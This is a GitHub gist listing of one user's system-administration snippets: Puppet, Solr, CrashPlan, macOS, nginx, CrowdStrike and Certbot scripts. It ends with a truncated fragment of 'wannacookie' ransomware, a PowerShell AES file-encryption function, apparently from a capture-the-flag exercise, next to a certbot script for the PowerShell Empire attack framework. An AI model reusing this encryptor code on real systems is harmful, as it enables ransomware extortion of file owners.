Skip to content

Instantly share code, notes, and snippets.

@justintime
justintime / part1.sh
Created June 28, 2012 03:01
Using Git Submodules with Dynamic Puppet Environments
git clone git@git:puppet.git
cd puppet
git checkout -b mybrokenbranch
echo "this line breaks everything" >> manifests/site.pp
git commit -am 'Intentionally breaking things'
git push origin mybrokenbranch
@justintime
justintime / solr-cleanup.sh
Created October 23, 2012 16:15
Cleanup data directories for cores no longer served up by Solr
#!/bin/bash
#
SOLR_HOME="/srv/tomcat/rpsolr/solr"
for INDEX_DIR in `/bin/find ${SOLR_HOME} -type d -name index -exec dirname {} \;`; do
CORE=`/bin/basename ${INDEX_DIR}`
/bin/grep "<core name=\"${CORE}\"" ${SOLR_HOME}/solr.xml > /dev/null
if [ $? != 0 ]; then
echo "Removing datadir for non-existent core ${CORE}"
@justintime
justintime / cpcleanup.sh
Created March 24, 2013 23:35
CrashPlan Mac Cache cleanup
sudo launchctl unload /Library/LaunchDaemons/com.crashplan.engine.plist
sudo rm -r /Library/Caches/CrashPlan/*
sudo launchctl load /Library/LaunchDaemons/com.crashplan.engine.plist
@justintime
justintime / forceScreenSaverLock.sh
Created April 19, 2013 16:04
Force screensaver lock on a Mac
#!/bin/bash
rm ~/Library/Preferences/com.apple.screensaver.plist
/usr/libexec/PlistBuddy -c "Add :askForPassword integer 1" ~/Library/Preferences/com.apple.screensaver.plist
/usr/libexec/PlistBuddy -c "Add :askForPasswordDelay integer 60" ~/Library/Preferences/com.apple.screensaver.plist
@justintime
justintime / hosts
Created August 19, 2014 19:00
blah
host-1
anotherhost-1
yetanotherhost-1
host1
anotherhost1
yetanotherhost1
@justintime
justintime / nginx-proxy.patch
Last active August 29, 2015 14:18
Diff of nginx 1.6.2 for CentOS6 from nginx repository
From f7c4e5a1fca1ca5c158dc393a44d753b0dccc8a8 Mon Sep 17 00:00:00 2001
From: root <root@base.vagrant.foo.com>
Date: Mon, 6 Apr 2015 14:00:48 -0500
Subject: [PATCH 1/2] working
---
conf.d/default.conf | 59 +++++++++++++++++++++++++++++++++++++++++++++-----
nginx.conf | 13 ++++++++++-
2 files changed, 65 insertions(+), 7 deletions(-)
@justintime
justintime / settings.json
Created August 22, 2016 15:49
YNAB Toolkit Settings
[{"key":"accountTransactionSearch","value":true},{"key":"accountsDisplayDensity","value":"0"},{"key":"accountsEmphasizedOutflows","value":false},{"key":"accountsSelectedTotal","value":true},{"key":"accountsStripedRows","value":false},{"key":"activityTransactionLink","value":true},{"key":"budgetBalanceToZero","value":true},{"key":"budgetProgressBars","value":"0"},{"key":"budgetQuickSwitch","value":false},{"key":"budgetRowsHeight","value":"0"},{"key":"categoryActivityPopupWidth","value":"0"},{"key":"changeEnterBehavior","value":false},{"key":"checkCreditBalances","value":true},{"key":"checkNumbers","value":false},{"key":"collapseExpandBudgetGroups","value":false},{"key":"collapseSideMenu","value":false},{"key":"colourBlindMode","value":false},{"key":"currentMonthIndicator","value":true},{"key":"daysOfBuffering","value":true},{"key":"daysOfBufferingHistoryLookup","value":"0"},{"key":"editButtonPosition","value":"0"},{"key":"enableRetroCalculator","value":true},{"key":"enlargeCategoriesDropdown","value":true},{"k
@justintime
justintime / cs.falconhoseclientd.service
Created March 12, 2018 19:56
CrowdStrike Falcon SIEM Collector systemd service
[Unit]
Description=CrowdStrike Falcon Host SIEM Connector
ConditionPathExists=/opt/crowdstrike/etc/cs.falconhoseclient.cfg
[Service]
User=daemon
UMask=022
LimitNOFILE=10000
TimeoutStopSec=90
WorkingDirectory=/opt/crowdstrike/bin
@justintime
justintime / certbot
Last active November 13, 2018 04:32
Certbot renewal for Powershell Empire
#!/bin/bash
service apache2 status
prevstatus=$?
if [ $prevstatus -ne 0 ]; then
echo "Apache stopped, starting now."
service apache2 start
fi
$functions = {
function Enc_Dec-File($key, $File, $enc_it) {
[byte[]]$key = $key
$Suffix = "`.wannacookie"
[System.Reflection.Assembly]::LoadWithPartialName('System.Security.Cryptography')
[System.Int32]$KeySize = $key.Length*8
$AESP = New-Object 'System.Security.Cryptography.AesManaged'
$AESP.Mode = [System.Security.Cryptography.CipherMode]::CBC
$AESP.BlockSize = 128
$AESP.KeySize = $KeySize